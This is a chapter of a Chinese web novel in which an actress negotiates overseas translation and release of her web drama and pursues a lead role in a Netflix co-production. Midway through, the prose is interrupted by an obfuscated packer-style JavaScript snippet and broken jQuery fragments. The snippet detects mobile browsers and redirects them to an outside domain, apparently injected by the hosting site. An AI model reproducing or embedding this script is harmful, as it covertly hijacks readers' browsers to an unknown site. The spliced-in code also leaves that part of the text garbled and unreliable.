32. 新的项目(第2页)

怎么忽然间就说到电视剧上去了？还有翻译的问题。

但是程云霏作为一个真正的总裁，对于公司的大小事物都很了解，不是那种甩手掌柜，所以也简单介绍了一下公司的情况。

他们万界公司确实在做网剧推广和翻译的活动，因为他们公司投拍了很多俊男靓女主演的古偶剧。

这些网剧除了国内火爆之外，还很受东南亚地区青少年的喜爱，所以他们会招聘配音演员，或者加上字幕，投放到东南亚市场。

像什么泰语、越南语、缅甸语、印度语、孟加拉语等等的翻译制作起来都不难，请一帮语言大学的教授或者学生就可以轻松搞定，添加字母幕的费用也不是很高，算是一笔很赚钱的买卖。

一般情况下，可以翻译成十几国语言投放，蚊子再小也是肉，这样推广以后不但现在可以赚一笔钱，日后还可以再派出公司的艺人到这些东南亚国家开演唱会，再圈一波钱。

周日佳听完之后非常开心，双1一拍，说道：“程总，之前我们《云佳工作室》你知道的吧？我们拍了一部网剧，是我和曲若淳主演的，肖凯云、马南箫他们也是重要配角，片名叫做《后宫升级记》。

这部网剧在国内的热度挺好的，我就想着，能不能与陈总的万界公司合作？将这个网剧翻译成各种各样国家的语言，越多越好，投放到世界各地的视频网站上去，好好刷一刷我们几个演员的国际知名度。

具体的制作费用我们可以商量着来，分成比例也可以具体商量,我只有一个要求。

那就是一个月之内必须至少翻译成五个国家的语言并被投放到当地的视频网站播放，这条一定要写在合同里。

如果完不成，万界公司需要给我支付巨额的赔偿款，怎么样？”

程云霏一皱眉，说道：“说起来，最好制作的其实是英语版和法语版。

但是他们的视频网站审核周期很长，如果我们花二十天制作出来，十天之内有可能无法在他们国家的网站上播出。

但是，我可以保证华国的视频网站上可以出现英语版和法语版，这样可以吗？”

周日佳在脑中问了问系统，得到了否定的回答，于是她拒绝了程云霏的这个提议，要求一定要在那个国家当地播放

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303474|180970||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

。

只不过，周日佳说道：“程总刚刚不是说贵公司和东南亚国家联系比较紧密吗？

我只要求一个月之内在五个国家当地上架，并没有要求是哪一个国家，陈总和哪个国家关系好，又把握直接上那个国家的视频网站，那就先制作那个国家的语言好了。

至于英语、法语这种难谈判的，制作时间往后推就行了。这是一个大工程，全世界有那么多国家，那么多种语言，咱们可以慢慢做。”

程云霏有些愣神，问到：“那如果一个月内我上架的地方的泰国、越南、新加坡、马来西亚、柬埔寨行吗？”

周日佳点头，说道：“当然可以，但我记得新加坡的官方语言也是英语，把这个英语版本制作好了，然后上欧美各国就只要谈判就好了，还挺方便的。”

程云霏笑着说道：“其实新加坡的话，直接上架中文版也没事，懂中文的人超过三分之二，华文版也没有完全没有障碍。”

周日佳笑着点了点头，说道：“看起来程总很有信心，我们来谈一谈具体分成吧。”

最后谈成的结果是，程云霏所在的万界公司负责制作所有华文版之外的语言版本，承担所有后期制作费用。

但是之后在各个国家投放的渠道广告宣传费用需要两家平分成本，所赚得的利润两家公司一家分一半。

周日佳等几人小声的商量了一会儿，这个条件在他们之前预想的范围内，还算是一个比较诚恳的条件了，于是他们便拍板决定了。

之后，周日佳问起了近期万界公司这边有没有什么电视剧的项目？或者是知不知道好莱坞最近有没有什么电视剧的项目，她想要参演女主角。

程云霏考虑了一会儿，再联想了周日佳的国际知名度，以及财富值，决定抛出三个他比较看好的项目给周日佳看一看。

这三个项目里面，有两个是国内的古偶仙侠剧，算是万界公司的舒适圈，这种片子的收视率不高不低，但是对演员吸粉很有好处，后期他们可以再营销一笔，用演员开演唱会等方式赚钱，算是万界公司收入的主要来源。

其实这两个项目很多国内的小花都挤破头，但是周日佳如果愿意出演的话，程云霏是愿意拿出来给她。

另外一个就是他们公司与漂亮国奈飞公司谈好的一个合作剧，将会用全英文制作，讲述一个女特工的故事，她是绝对的女主角。

主要这个角色要求比较高，要英语流利，要动作利落，还要颜值、身材好。

目前万界公司和奈飞公司两边都还在激烈的争夺这个女主角，还没有定下具体的人选。

如果周日佳愿意加入女主角的角逐的话，程云霏觉得会比较有胜算，起码比他旗下的那几个小花胜算大得多。

周日佳自然也敏锐地看到了这一点，她对于这个女特工的大女主电视剧还是很感兴趣的，便认真的问了问相关的情况。

程云霏说道：“与奈飞合作的这部剧半个月后开拍，将会采取边拍边播的形式。

而且奈飞是大公司，他们在漂亮国、枫叶国、欧洲各国都有推广渠道。

这部片子如果上线，会是北美和欧洲十几国同步上线推广，第一集播出的时间应该会在一个月以内。”

周日佳眼前一亮，好像这部片子也很能满足她完成任务的需求啊。

到时候，如果她主演的其中一部网剧在东南亚十多个国家放映，而她参演的漂亮国剧在北美和欧洲的十多个国家放映，那她岂不是可以超额或者翻倍完成月度任务，不知道会不会获得什么隐藏奖励呢？

周日佳立即说道：“程总，我对这个角色很有兴趣，不知道可不可以谈谈参演，以及投资的事情？”

周日佳很清楚，现在光从演员的角度来，她就是一个新人，不占什么优势。

而她本身最大的优势就是有钱，所以要用金钱开道，才能忘无往不利。

果然，程云霏闻言之后很感兴趣，没有哪个影视项目是不缺钱的，没有哪个影视项目是绝对爆的。

所以说，找个靠谱的合作对象一起投资项目，分担风险，貌似也是一个不错的选择。

更别说，周日佳还是个自带幸运buff的女孩，有她参演之后，他和奈飞公司合作的这部剧，说不定就会大爆特爆了呢？

只不过这件事涉及漂亮国的另一个公司，程云霏即便是万界公司的总裁，也无法独断专行。

程云霏挂了电话之后，说道：“我已经约了奈飞公司的副总裁约瑟夫先生，明天早上十点到他办公室一块儿去详谈。”

周日佳等人点点头，他们吃了一顿满意的晚餐，得到了一个满意的合作，还有明天一个充满希望的谈判。

吃完饭以后，一行人乘车到了周日佳花钱置办的新别墅里，开始愉快的派对之夜。

周日佳不知道的是，此时的曲若淳已经在越洋电话里和漂亮国的一个代理公司谈游戏代理发售的事情。

曲若淳决定要开国外的服务器，将锋锐公司现在最爆火的游戏《勇敢者的冒险》翻译成英文版，造造势，在漂亮国和欧洲各国同步发售。

要做这些事情，自然免不了把他们五人之前拍的那些游戏宣传片也一并翻译成英文。

他这个公司总裁，以及宣传片的主角之一，自然也要远赴漂亮国进行游戏宣传。

就快要再见到她了！曲若淳非常的期待。